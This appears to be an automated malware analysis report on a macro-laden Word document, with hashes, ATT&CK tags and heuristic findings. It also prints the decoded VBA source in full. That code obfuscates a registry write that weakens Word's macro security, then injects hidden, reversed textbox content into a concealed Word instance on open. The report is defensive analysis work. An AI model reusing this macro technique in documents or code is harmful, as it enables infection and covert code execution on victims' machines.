Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 11ca9af26977c3e4…

MALICIOUS

Office (OOXML) / .DOC

46.2 KB Created: 2021-05-10 09:22:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-22
MD5: dfc7a54abaa42de57c4cf8623d1c1a19 SHA-1: 8749187575f708d26756383bf57c80713586309f SHA-256: 11ca9af26977c3e4d85462bbd1f563b676d020e1bc8e92da0de53b2ee0f9f243
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1137.001 Office Application Build T1087.002 Local Accounts

The sample is a malicious OOXML document containing VBA macros. The AUTOOPEN macro executes a function that uses CreateObject to instantiate a 'word.application' object. It then adds code to this object's document, likely to download and execute a second-stage payload. The macro also exhibits self-replication behavior by writing VBA project code, and attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Office\Word\Security\Access1OM.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    With CreateObject("wscript.shell")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .AddFromString counterCollectionLocal
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set pointerRef = CreateObject("word.application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AUTOOPEN()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2138 bytes
SHA-256: fc7cf29c0338641b4e5e43049ab59415f71f6021134d16418a424152d1f7202c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{5BCE018D-E530-425C-8247-89EE4F5E7707}{D7A39C8E-EC7F-4679-B7E2-BF799222AC43}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "localException"
Function storageBorderDelete()
storageBorderDelete = UCase("_current_")
End Function
Function nextCopy()
nextCopy = Trim("ware\Microsoft\Off")
End Function
Sub AUTOOPEN()
pasteCount
Dim linkQueryData As String
linkQueryData = memoryStruct
mainReference linkQueryData
End Sub

Attribute VB_Name = "trustNext"
Sub mainReference(counterCollectionLocal As String)
Set pointerRef = CreateObject("word.application")
With pointerRef.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString counterCollectionLocal
End With
pointerRef.Visible = False
pointerRef.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "localValue"
Function repoResponse()
repoResponse = "HKEY" & storageBorderDelete & "USER\Soft" & nextCopy & "ice\"
End Function
Function libPasteRemove()
libPasteRemove = "\Word\Secur" & referenceCollection
End Function
Function referenceCollection()
referenceCollection = Replace("1", "VB", "ity\Access1OM")
End Function
Sub pasteCount()
collectionRemove
End Sub

Attribute VB_Name = "memButtonClear"
Function procedurePaste()
procedurePaste = Application.Version
End Function
Function ptrTmpLoad()
ptrTmpLoad = "word"
End Function
Sub collectionRemove()
With CreateObject("wscript.shell")
.RegWrite repoResponse & procedurePaste & libPasteRemove, 1, "REG_D" & UCase(ptrTmpLoad)
End With
End Sub
Function memoryStruct()
memoryStruct = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25600 bytes
SHA-256: 3980c3d49477614744171f8859fb5b0111b71f8a999420e9060791aa93d18ce0

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